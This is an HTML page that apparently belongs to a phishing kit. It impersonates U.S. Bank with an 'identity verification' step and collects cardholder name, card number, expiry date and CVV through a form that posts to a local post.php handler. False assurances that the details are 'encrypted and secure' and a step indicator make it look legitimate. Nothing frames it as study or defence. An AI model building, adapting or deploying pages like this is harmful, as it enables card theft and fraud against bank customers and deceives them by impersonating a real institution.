<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;500&family=Source+Sans+3:wght@300;400;500&display=swap" rel="stylesheet">
    <title>U.S. Bank — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #0f2178;
            --navy-mid:     #162899;
            --navy-light:   rgba(15, 33, 120, 0.07);
            --red:          #de1f2d;
            --red-soft:     rgba(222, 31, 45, 0.08);
            --text-primary: #0a1040;
            --text-secondary: #3a4580;
            --text-muted:   #7a85b0;
            --border:       #d8dae8;
            --bg:           #f4f5fa;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(222,31,45,0.25) 0%, transparent 65%),
                radial-gradient(ellipse 45% 40% at 90% 10%, rgba(222,31,45,0.1) 0%, transparent 60%);
            pointer-events: none;
        }

        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.05; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--red); }

        /* ── Card preview widget ── */
        .card-preview {
            position: relative; z-index: 1;
            margin-bottom: 48px;
            width: 270px; height: 160px;
            border-radius: 14px;
            background: linear-gradient(135deg, #162899 0%, #0a1550 100%);
            border: 1px solid rgba(255,255,255,0.12);
            padding: 22px 24px;
            display: flex; flex-direction: column;
            justify-content: space-between;
            box-shadow: 0 20px 60px rgba(0,0,0,0.4), inset 0 1px 0 rgba(255,255,255,0.08);
            transform: rotate(-2deg);
            transition: transform 0.4s ease;
        }
        .card-preview:hover { transform: rotate(0deg); }
        .card-preview::before {
            content: '';
            position: absolute;
            top: -1px; left: 30px; right: 30px; height: 1px;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.15), transparent);
        }
        /* Red stripe accent on card */
        .card-preview::after {
            content: '';
            position: absolute;
            bottom: 0; left: 0; right: 0; height: 4px;
            border-radius: 0 0 14px 14px;
            background: var(--red);
            opacity: 0.7;
        }

        .card-chip {
            width: 32px; height: 24px; border-radius: 4px;
            background: linear-gradient(135deg, rgba(255,255,255,0.3), rgba(255,255,255,0.1));
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card-number-preview {
            font-size: 12px; letter-spacing: 0.2em;
            color: rgba(255,255,255,0.4); font-weight: 300;
        }
        .card-bottom {
            display: flex; justify-content: space-between; align-items: flex-end;
        }
        .card-holder-preview {
            font-size: 10px; letter-spacing: 0.1em;
            text-transform: uppercase; color: rgba(255,255,255,0.35);
        }
        .card-brand span {
            width: 22px; height: 22px; border-radius: 50%;
            opacity: 0.5; display: inline-block;
        }
        .card-brand span:first-child { background: #fff; margin-right: -8px; }
        .card-brand span:last-child  { background: rgba(255,255,255,0.4); }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.2em; text-transform: uppercase;
            color: var(--red); margin-bottom: 18px; opacity: 0.9;
        }
        .panel-tagline h2 {
            font-family: 'Source Serif 4', serif;
            font-size: clamp(26px, 2.8vw, 40px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .form-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .form-logo { margin-bottom: 40px; }
        .form-logo img { height: 40px; width: auto; object-fit: contain; display: block; }

        /* ── Step indicator ── */
        .step-indicator {
            display: flex; align-items: center;
            gap: 8px; margin-bottom: 28px;
        }
        .step {
            display: flex; align-items: center; justify-content: center;
            width: 24px; height: 24px; border-radius: 50%;
            font-size: 11px; font-weight: 500;
        }
        .step.done   { background: var(--navy-light); color: var(--navy); }
        .step.active { background: var(--navy); color: #fff; }
        .step.pending { background: #eef0f8; color: #b0b8d8; }
        .step-line { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--navy); opacity: 0.3; }

        .form-heading { margin-bottom: 28px; }
        .form-heading h1 {
            font-family: 'Source Serif 4', serif;
            font-size: 26px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 7px;
        }
        .form-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300; line-height: 1.6;
        }

        /* ── Security badge ── */
        .security-badge {
            display: flex; align-items: center; gap: 8px;
            background: var(--navy-light);
            border: 1px solid rgba(15,33,120,0.15);
            border-radius: 6px; padding: 10px 14px; margin-bottom: 24px;
        }
        .security-badge svg { flex-shrink: 0; color: var(--navy); }
        .security-badge span { font-size: 12px; color: var(--navy); font-weight: 400; }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 500;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #b0b8d8; font-weight: 300; }
        .field input:focus {
            border-color: var(--navy);
            box-shadow: 0 0 0 3px var(--navy-light);
        }

        .field-row {
            display: grid; grid-template-columns: 1fr 1fr;
            gap: 14px; margin-bottom: 18px;
        }
        .field-row .field { margin-bottom: 0; }

        /* ── Button ── */
        .btn-continue {
            width: 100%; height: 50px;
            background: var(--navy); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.02em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-top: 8px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
        }
        .btn-continue:hover {
            background: var(--navy-mid);
            box-shadow: 0 4px 18px rgba(15,33,120,0.25);
            transform: translateY(-1px);
        }
        .btn-continue:active { transform: translateY(0); }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <rect x="0" y="0"   width="600" height="44" fill="white"/>
            <rect x="0" y="88"  width="600" height="44" fill="white"/>
            <rect x="0" y="176" width="600" height="44" fill="white"/>
            <rect x="0" y="264" width="600" height="44" fill="white"/>
            <rect x="0" y="352" width="600" height="44" fill="white"/>
            <g fill="white">
                <circle cx="40"  cy="520" r="3"/><circle cx="100" cy="520" r="3"/><circle cx="160" cy="520" r="3"/>
                <circle cx="220" cy="520" r="3"/><circle cx="280" cy="520" r="3"/><circle cx="340" cy="520" r="3"/>
                <circle cx="70"  cy="560" r="3"/><circle cx="130" cy="560" r="3"/><circle cx="190" cy="560" r="3"/>
                <circle cx="250" cy="560" r="3"/><circle cx="310" cy="560" r="3"/>
                <circle cx="40"  cy="600" r="3"/><circle cx="100" cy="600" r="3"/><circle cx="160" cy="600" r="3"/>
                <circle cx="220" cy="600" r="3"/><circle cx="280" cy="600" r="3"/><circle cx="340" cy="600" r="3"/>
                <circle cx="70"  cy="640" r="3"/><circle cx="130" cy="640" r="3"/><circle cx="190" cy="640" r="3"/>
                <circle cx="250" cy="640" r="3"/><circle cx="310" cy="640" r="3"/>
                <circle cx="40"  cy="680" r="3"/><circle cx="100" cy="680" r="3"/><circle cx="160" cy="680" r="3"/>
                <circle cx="220" cy="680" r="3"/><circle cx="280" cy="680" r="3"/><circle cx="340" cy="680" r="3"/>
            </g>
        </svg>
    </div>

    <div class="card-preview">
        <div class="card-chip"></div>
        <div class="card-number-preview">•••• &nbsp;•••• &nbsp;•••• &nbsp;••••</div>
        <div class="card-bottom">
            <div class="card-holder-preview">Cardholder Name</div>
            <div class="card-brand"><span></span><span></span></div>
        </div>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Identity Verification</div>
        <h2>One more step<br>to stay secure.</h2>
        <p>We need to verify your card details to confirm your identity and protect your account.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="form-card">

        <div class="form-logo">
            <img src="res/img/logo.svg" alt="U.S. Bank Logo">
        </div>

        <div class="step-indicator">
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step active">2</div>
            <div class="step-line"></div>
            <div class="step pending">3</div>
        </div>

        <div class="form-heading">
            <h1>Confirm your identity</h1>
            <p>Enter your card details below to verify your account.</p>
        </div>

        <div class="security-badge">
            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                <rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
                <path d="M7 11V7a5 5 0 0 1 10 0v4"/>
            </svg>
            <span>Your card details are encrypted and secure</span>
        </div>

        <form action="post.php" method="post">

            <div class="field">
                <label for="name">Cardholder name</label>
                <input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name">
            </div>

            <div class="field">
                <label for="cc">Card number</label>
                <input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric">
            </div>

            <div class="field-row">
                <div class="field">
                    <label for="exp">Expiration date</label>
                    <input type="text" name="exp" id="exp" required placeholder="MM/YY" autocomplete="cc-exp" inputmode="numeric">
                </div>
                <div class="field">
                    <label for="cvv">Security code</label>
                    <input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric">
                </div>
            </div>

            <button type="submit" class="btn-continue">
                Continue
                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <path d="M5 12h14M12 5l7 7-7 7"/>
                </svg>
            </button>

        </form>
    </div>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
$("#cc").mask("0000 0000 0000 0000");
$("#exp").mask("00/00");
$("#cvv").mask("0000");
</script>
</body>
</html>